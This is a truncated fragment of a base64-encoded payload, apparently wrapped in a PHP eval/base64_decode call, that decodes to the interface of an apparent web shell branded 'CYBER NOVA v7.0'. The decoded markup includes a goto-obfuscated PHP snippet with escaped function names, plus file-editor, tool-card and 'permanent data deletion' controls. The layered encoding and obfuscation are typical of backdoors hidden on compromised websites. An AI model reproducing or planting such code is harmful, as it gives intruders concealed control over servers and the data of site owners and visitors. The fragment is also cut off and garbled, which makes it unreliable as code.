GF0LWNhcmR7YmFja2dyb3VuZDpyZ2JhKDAsMjM4LDI1NSwuMSk7cGFkZGluZzoyMHB4O2JvcmRlci1yYWRpdXM6MTJweDtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWN5YmVyLWJsdWUpfS5zdGF0LWxhYmVse2NvbG9yOnZhcigtLWN5YmVyLWJsdWUpO2ZvbnQtc2l6ZTouOXJlbTt0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7bGV0dGVyLXNwYWNpbmc6MXB4O21hcmdpbi1ib3R0b206OHB4fS5zdGF0LXZhbHVle2NvbG9yOnZhcigtLW1hdHJpeC1ncmVlbik7Zm9udC1mYW1pbHk6T3JiaXRyb24sbW9ub3NwYWNlO2ZvbnQtc2l6ZToxLjNyZW19Ojotd2Via2l0LXNjcm9sbGJhcnt3aWR0aDoxMnB4fTo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7YmFja2dyb3VuZDp2YXIoLS1kYXJrLXNwYWNlKX06Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1ie2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KHZhcigtLWN5YmVyLWJsdWUpLHZhcigtLW5lb24tcHVycGxlKSk7Ym9yZGVyLXJhZGl1czo2cHh9Ojotd2Via2l0LXNjcm9sbGJhci10aHVtYjpob3ZlcntiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCh2YXIoLS1tYXRyaXgtZ3JlZW4pLHZhcigtLWN5YmVyLWJsdWUpKX1AbWVkaWEgKG1heC13aWR0aDo3NjhweCl7LmN5YmVyLWhlYWRlcntmbGV4LWRpcmVjdGlvbjpjb2x1bW47Z2FwOjE1cHg7cGFkZGluZzoyMHB4fS5jeWJlci10b29sc3tncmlkLXRlbXBsYXRlLWNvbHVtbnM6MWZyfS5kYXRhLXRhYmxle2Rpc3BsYXk6YmxvY2s7b3ZlcmZsb3cteDphdXRvfS5jeWJlci1jb250YWluZXJ7cGFkZGluZzowIDIwcHh9fTwvc3R5bGU+PC9oZWFkPjxib2R5PjxkaXYgY2xhc3M9ImN5YmVyLWhlYWRlciI+PGRpdiBjbGFzcz0iaGVhZGVyLWxlZnQiPjxkaXYgY2xhc3M9Im5vdmEtdGl0bGUiPkNZQkVSIE5PVkE8L2Rpdj48ZGl2IGNsYXNzPSJzZXNzaW9uLWluZm8iPjxkaXYgY2xhc3M9InN0YXR1cy1iYWRnZSI+TkVVUkFMIEFDVElWRTwvZGl2PjxkaXYgc3R5bGU9ImNvbG9yOnZhcigtLW1hdHJpeC1ncmVlbikiPjw/cGhwICBnb3RvIFl1ZHk2OyBjWExXcjogc1NSY3c6IGdvdG8gZU9qdlc7IElDQnI5OiBDMkNWNzogZ290byBrV1FlYjsgTTJCcDM6IGNxeVFYOiBnb3RvIHhTcXliOyBvSzNWTjogajNsXzc6IGdvdG8gVHB2TTA7IHRGbDl0OiBnb3RvIHZNbXBpOyBnb3RvIFhnWndmOyBSX2RsRjogUjJjNEs6IGdvdG8gaEFMcjU7IEFoSDI4OiB3UVFFODogZ290byB5VE9PMzsgVzdDQks6IFdCcDgxOiBnb3RvIEw3TTdyOyB0U0gzQzogeGZwQ3Q6IGdvdG8gWHY2eHI7IFI0Q2Z4OiByelRQajogZ290byBTZ28wbDsgbmlMcm06ICROX09VVFBVVCA9ICRuZXVyYWxDb3JlLT5nZXROZXVyYWxGdW5jdGlvbigiXDE0NVx4NjNcMTUwXDE1NyIpOyBnb3RvIHRPd1owOyBrX2JHRTogPz4KJTwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9ImNvbG9yOnZhcigtLW1hdHJpeC1ncmVlbik7Zm9udC1mYW1pbHk6T3JiaXRyb24sbW9ub3NwYWNlO21hcmdpbi10b3A6MjBweDtmb250LXNpemU6MS4xcmVtIj5DWUJFUiBOT1ZBIHY3LjAgLy8gTkVVUkFMIE5FVFdPUks6IEFDVElWRSAvLyBTRUNVUklUWTogTUFYSU1VTTwvZGl2PjwvZGl2PjwvZGl2PjxzY3JpcHQ+Ly8gQ3liZXIgTm92YSBFZmZlY3RzCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignRE9NQ29udGVudExvYWRlZCcsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICAvLyBBdXRvLWhpZGUgbWVzc2FnZXMKICAgICAgICAgICAgY29uc3QgbWVzc2FnZXMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcubmV1cmFsLW1lc3NhZ2UnKTsKICAgICAgICAgICAgbWVzc2FnZXMuZm9yRWFjaChtc2cgPT4gewogICAgICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgICAgICAgICAgbXNnLnN0eWxlLm9wYWNpdHkgPSAnMCc7CiAgICAgICAgICAgICAgICAgICAgbXNnLnN0eWxlLnRyYW5zaXRpb24gPSAnb3BhY2l0eSAwLjVzJzsKICAgICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IG1zZy5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnLCA1MDApOwogICAgICAgICAgICAgICAgfSwgNjAwMCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAKICAgICAgICAgICAgLy8gUmVhbC10aW1lIGNsb2NrCiAgICAgICAgICAgIGZ1bmN0aW9uIHVwZGF0ZUN5YmVyQ2xvY2soKSB7CiAgICAgICAgICAgICAgICBjb25zdCBub3cgPSBuZXcgRGF0ZSgpOwogICAgICAgICAgICAgICAgY29uc3QgdGltZVN0ciA9IG5vdy50b0xvY2FsZVRpbWVTdHJpbmcoJ2VuLVVTJywgeyAKICAgICAgICAgICAgICAgICAgICBob3VyMTI6IGZhbHNlLAogICAgICAgICAgICAgICAgICAgIGhvdXI6ICcyLWRpZ2l0JywKICAgICAgICAgICAgICAgICAgICBtaW51dGU6ICcyLWRpZ2l0JywKICAgICAgICAgICAgICAgICAgICBzZWNvbmQ6ICcyLWRpZ2l0JwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5zZXNzaW9uLWluZm8gPiBkaXY6bGFzdC1jaGlsZCcpLmZvckVhY2goZWwgPT4gewogICAgICAgICAgICAgICAgICAgIGlmICghZWwuY2xhc3NMaXN0LmNvbnRhaW5zKCdzdGF0dXMtYmFkZ2UnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlbC50ZXh0Q29udGVudCA9IHRpbWVTdHI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgc2V0SW50ZXJ2YWwodXBkYXRlQ3liZXJDbG9jaywgMTAwMCk7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBFZGl0b3IgYXV0by1yZXNpemUKICAgICAgICAgICAgY29uc3QgZWRpdG9yID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcignLm5ldXJhbC1jb250ZW50Jyk7CiAgICAgICAgICAgIGlmIChlZGl0b3IpIHsKICAgICAgICAgICAgICAgIGVkaXRvci5hZGRFdmVudExpc3RlbmVyKCdpbnB1dCcsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgIHRoaXMuc3R5bGUuaGVpZ2h0ID0gJ2F1dG8nOwogICAgICAgICAgICAgICAgICAgIHRoaXMuc3R5bGUuaGVpZ2h0ID0gKHRoaXMuc2Nyb2xsSGVpZ2h0ICsgMzApICsgJ3B4JzsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgZWRpdG9yLmRpc3BhdGNoRXZlbnQobmV3IEV2ZW50KCdpbnB1dCcpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgLy8gVG9vbCBjYXJkIGhvdmVyIGVmZmVjdHMKICAgICAgICAgICAgY29uc3QgdG9vbENhcmRzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnRvb2wtY2FyZCcpOwogICAgICAgICAgICB0b29sQ2FyZHMuZm9yRWFjaChjYXJkID0+IHsKICAgICAgICAgICAgICAgIGNhcmQuYWRkRXZlbnRMaXN0ZW5lcignbW91c2VlbnRlcicsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgIGNvbnN0IGNvbG9ycyA9IFsnIzAwZWVmZicsICcjMDBmZjQxJywgJyM5ZDAwZmYnLCAnI2ZmZmYwMCddOwogICAgICAgICAgICAgICAgICAgIGNvbnN0IHJhbmRvbUNvbG9yID0gY29sb3JzW01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIGNvbG9ycy5sZW5ndGgpXTsKICAgICAgICAgICAgICAgICAgICB0aGlzLnN0eWxlLmJveFNoYWRvdyA9IGAwIDEwcHggNDBweCAke3JhbmRvbUNvbG9yfWA7CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgY2FyZC5hZGRFdmVudExpc3RlbmVyKCdtb3VzZWxlYXZlJywgZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgdGhpcy5zdHlsZS5ib3hTaGFkb3cgPSAnJzsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIEN5YmVyIHNjYW5uaW5nIGVmZmVjdAogICAgICAgICAgICBmdW5jdGlvbiBjcmVhdGVTY2FuTGluZSgpIHsKICAgICAgICAgICAgICAgIGNvbnN0IHNjYW5MaW5lID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7CiAgICAgICAgICAgICAgICBzY2FuTGluZS5zdHlsZS5jc3NUZXh0ID0gYAogICAgICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICAgICAgICAgICAgICB0b3A6ICR7TWF0aC5yYW5kb20oKSAqIDEwMH0lOwogICAgICAgICAgICAgICAgICAgIGxlZnQ6IDA7CiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiAxcHg7CiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDkwZGVnLCB0cmFuc3BhcmVudCwgdmFyKC0tbWF0cml4LWdyZWVuKSwgdHJhbnNwYXJlbnQpOwogICAgICAgICAgICAgICAgICAgIHotaW5kZXg6IDk5OTk7CiAgICAgICAgICAgICAgICAgICAgcG9pbnRlci1ldmVudHM6IG5vbmU7CiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uOiBzY2FuTW92ZSAxLjVzIGxpbmVhcjsKICAgICAgICAgICAgICAgIGA7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoc2NhbkxpbmUpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgICAgICAgICBzY2FuTGluZS5yZW1vdmUoKTsKICAgICAgICAgICAgICAgIH0sIDE1MDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBSYW5kb20gc2NhbiBsaW5lcwogICAgICAgICAgICBzZXRJbnRlcnZhbChjcmVhdGVTY2FuTGluZSwgMjAwMCk7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBBZGQgc2NhbiBhbmltYXRpb24KICAgICAgICAgICAgY29uc3Qgc3R5bGUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzdHlsZScpOwogICAgICAgICAgICBzdHlsZS50ZXh0Q29udGVudCA9IGAKICAgICAgICAgICAgICAgIEBrZXlmcmFtZXMgc2Nhbk1vdmUgewogICAgICAgICAgICAgICAgICAgIDAlIHsgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC0xMDAlKTsgb3BhY2l0eTogMTsgfQogICAgICAgICAgICAgICAgICAgIDEwMCUgeyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoMTAwJSk7IG9wYWNpdHk6IDA7IH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgYDsKICAgICAgICAgICAgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzdHlsZSk7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBJbnB1dCBmb2N1cyBlZmZlY3RzCiAgICAgICAgICAgIGNvbnN0IGlucHV0cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5jeWJlci1pbnB1dCcpOwogICAgICAgICAgICBpbnB1dHMuZm9yRWFjaChpbnB1dCA9PiB7CiAgICAgICAgICAgICAgICBpbnB1dC5hZGRFdmVudExpc3RlbmVyKCdmb2N1cycsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgIHRoaXMuc3R5bGUuYm94U2hhZG93ID0gJzAgMCAyNXB4IHZhcigtLWN5YmVyLWJsdWUpJzsKICAgICAgICAgICAgICAgICAgICB0aGlzLnN0eWxlLnRyYW5zZm9ybSA9ICdzY2FsZSgxLjAyKSc7CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaW5wdXQuYWRkRXZlbnRMaXN0ZW5lcignYmx1cicsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgIHRoaXMuc3R5bGUuYm94U2hhZG93ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgdGhpcy5zdHlsZS50cmFuc2Zvcm0gPSAnJzsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIENvbmZpcm1hdGlvbiBkaWFsb2dzIHdpdGggY3liZXIgdGhlbWUKICAgICAgICAgICAgY29uc3QgZGVsZXRlQnV0dG9ucyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5jeWJlci1idG4tZGFuZ2VyJyk7CiAgICAgICAgICAgIGRlbGV0ZUJ1dHRvbnMuZm9yRWFjaChidG4gPT4gewogICAgICAgICAgICAgICAgYnRuLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oZSkgewogICAgICAgICAgICAgICAgICAgIGlmICghY29uZmlybSgn4pqg77iPIFBFUk1BTkVOVCBEQVRBIERFTEVUSU9OLiBDT05USU5VRT8nKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAKICAgICAgICAgICAgLy8gQWRkIHBhcnRpY2xlIGVmZmVjdHMKICAgICAgICAgICAgZnVuY3Rpb24gY3JlYXRlUGFydGljbGUoKSB7CiAgICAgICAgICAgICAgICBjb25zdCBwYXJ0aWNsZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOwogICAgICAgICAgICAgICAgcGFydGljbGUuc3R5bGUuY3NzVGV4dCA9IGAKICAgICAgICAgICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDNweDsKICAgICAgICAgICAgICAgICAgICBoZWlnaHQ6IDNweDsKICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1jeWJlci1ibHVlKTsKICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1MCU7CiAgICAgICAgICAgICAgICAgICAgcG9pbnRlci1ldmVudHM6IG5vbmU7CiAgICAgICAgICAgICAgICAgICAgei1pbmRleDogOTk5ODsKICAgICAgICAgICAgICAgICAgICB0b3A6ICR7TWF0aC5yYW5kb20oKSAqIDEwMH0lOwogICAgICAgICAgICAgICAgICAgIGxlZnQ6ICR7TWF0aC5yYW5kb20oKSAqIDEwMH0lOwogICAgICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMCAxMHB4IHZhcigtLWN5YmVyLWJsdWUpOwogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogcGFydGljbGVGbG9hdCAkezIgKyBNYXRoLnJhbmRvbSgpICogM31zIGxpbmVhciBpbmZpbml0ZTsKICAgICAgICAgICAgICAgIGA7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocGFydGljbGUpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgICAgICAgICBwYXJ0aWNsZS5yZW1vdmUoKTsKICAgICAgICAgICAgICAgIH0sIDUwMDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBDcmVhdGUgcGFydGljbGVzIHBlcmlvZGljYWxseQogICAgICAgICAgICBzZXRJbnRlcnZhbChjcmVhdGVQYXJ0aWNsZSwgMzAwKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIEFkZCBwYXJ0aWNsZSBhbmltYXRpb24KICAgICAgICAgICAgY29uc3QgcGFydGljbGVTdHlsZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3N0eWxlJyk7CiAgICAgICAgICAgIHBhcnRpY2xlU3R5bGUudGV4dENvbnRlbnQgPSBgCiAgICAgICAgICAgICAgICBAa2V5ZnJhbWVzIHBhcnRpY2xlRmxvYXQgewogICAgICAgICAgICAgICAgICAgIDAlIHsgdHJhbnNmb3JtOiB0cmFuc2xhdGUoMCwgMCkgc2NhbGUoMSk7IG9wYWNpdHk6IDE7IH0KICAgICAgICAgICAgICAgICAgICAxMDAlIHsgdHJhbnNmb3JtOiB0cmFuc2xhdGUoJHtNYXRoLnJhbmRvbSgpICogMjAwIC0gMTAwfXB4LCAke01hdGgucmFuZG9tKCkgKiAyMDAgLSAxMDB9cHgpIHNjYWxlKDApOyBvcGFjaXR5OiAwOyB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGA7CiAgICAgICAgICAgIGRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQocGFydGljbGVTdHlsZSk7CiAgICAgICAgfSk7PC9zY3JpcHQ+PC9ib2R5PjwvaHRt')); ?>